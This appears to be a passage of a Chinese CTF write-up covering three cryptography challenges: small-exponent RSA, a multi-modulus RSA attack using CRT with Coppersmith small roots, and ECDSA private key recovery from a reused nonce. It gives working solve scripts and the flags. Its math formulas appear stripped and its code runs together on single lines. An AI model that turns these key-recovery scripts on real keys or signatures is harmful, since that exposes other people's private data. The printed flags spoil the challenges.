题目给出的 RSA 公钥指数参数 极其小 ,典型的小公钥指数攻击(Low Exponent Attack)。当 时,若明文的 次方大过模数 ,可以通过引入一个未知的整倍数 ,使得明文满足关系:
由于 只有 3,我们只需要从 开始在整数域内向上递增穷举,每次计算 的开立方根(使用 gmpy2 的 iroot 函数),当检测到其开立方后的第二个返回值返回 True(说明正好是一个完美的整数立体完全立方数)时,该开方值即为我们所求的原始消息明文值 。
求解脚本
Python
from gmpy2 import irootfrom Crypto.Util.number import long_to_bytes
n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419e = 3c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669
k = 0while True: res = iroot(k * n + c, e) if res[1]: # 如果完美开方 print("[+] Found Flag:") print(long_to_bytes(res[0]).decode()) break k += 1Flag: flag{769cc0209669698952823747f21eb10e}
(二) ScatterRSA5
解题思路
已知存在多组加密参数和其线性关系比对 :
可以据此为每一组构造一个高阶多项式方程式:
从而真实未知的消息根 一定完美使得 恒成立 。
因为题目给出了 3 组完全独立的不同的模数 ,我们可以用中国剩余定理(CRT)把这三个独立的多项式完美拼接合并成一个模大数 的单多项式方程式 :
由于 Flag 本身的边界很短,明文根 相对大数模数 的量级非常小,且公钥方次 ,完全契合 Coppersmith 单变量小根求解边界定理条件。我们可以直接通过 SageMath 下的多项式自带方法 .small_roots() 在格(Lattice)规约的帮助下轻松快速解出明文整数根 。
SageMath 求解脚本
Python
from Crypto.Util.number import long_to_bytesfrom sage.all import *
e = 3# 填入题目给定的 3 组参数n1 = ...; a1 = ...; b1 = ...; c1 = ...n2 = ...; a2 = ...; b2 = ...; c2 = ...n3 = ...; a3 = ...; b3 = ...; c3 = ...
N = n1 * n2 * n3N1, N2, N3 = N // n1, N // n2, N // n3t1, t2, t3 = inverse_mod(N1, n1), inverse_mod(N2, n2), inverse_mod(N3, n3)
PR.<x> = PolynomialRing(Zmod(N))# CRT 多项式组合拼接F = ( ((a1*x + b1)^3 - c1) * N1 * t1 + ((a2*x + b2)^3 - c2) * N2 * t2 + ((a3*x + b3)^3 - c3) * N3 * t3)F = F.monic()
# 运用 Coppersmith 方法寻找小根roots = F.small_roots(X=2^350, beta=1.0, epsilon=1/20)if roots: print(long_to_bytes(int(roots[0])))Flag: flag{83f32ba281c5fc035b02c2fe1e7a270e}
(三) ECDSA nonce 重用
解题思路
通过提取分析题目 challenge.json 附带的公开已知签名数组,能发现一个致命的安全设计缺陷 :
在标准 ECDSA(椭圆曲线数字签名算法) 中,如果对两个不同的消息做数字签名时不幸重用/复用了相同的随机数 nonce ,因为随机点 保持不变,进而必然产生完全相同的签名分量 。这使得私钥 能够被以完全初等的代数方式直接恢复算出来 。
根据标准 ECDSA 签名方程 :
两方程相减可以成功消去含有未知私钥 的那一项 :
从而我们可以直接恢复出本次签名的随机秘密参数 :
获取到秘密的签名随机数 后,随即可带回任意一行原本的签名公式,将唯一的终极私钥参数 完整分离解算出来 :
根据题目要求的 Flag 格式,将推导计算出的私钥 转换成 16 进制小写格式,取其前 32 位拼接放入 flag{ecdsa_nonce_reuse_...} 中即可 。
求解脚本
Python
import jsonimport hashlib
# secp256k1 标准曲线参数p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2Fn = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
def inv(a, m): return pow(a % m, -1, m)
with open("challenge.json", "r", encoding="utf-8") as f: c = json.load(f)
# 计算两份公开明文的哈希摘要值z1 = int.from_bytes(hashlib.sha256(bytes.fromhex(c["message1"])).digest(), "big")z2 = int.from_bytes(hashlib.sha256(bytes.fromhex(c["message2"])).digest(), "big")
r = int(c["signature1_r"])s1 = int(c["signature1_s"])s2 = int(c["signature2_s"])
# 数论倒数及乘法计算恢复私钥k = ((z1 - z2) * inv(s1 - s2, n)) % nd = ((s1 * k - z1) * inv(r, n)) % n
private_hex = format(d, "064x")print("flag{ecdsa_nonce_reuse_" + private_hex[:32] + "}")Flag: flag{ecdsa_nonce_reuse_7880119303429b4ed0e4237c584e0795}
部分信息可能已经过时





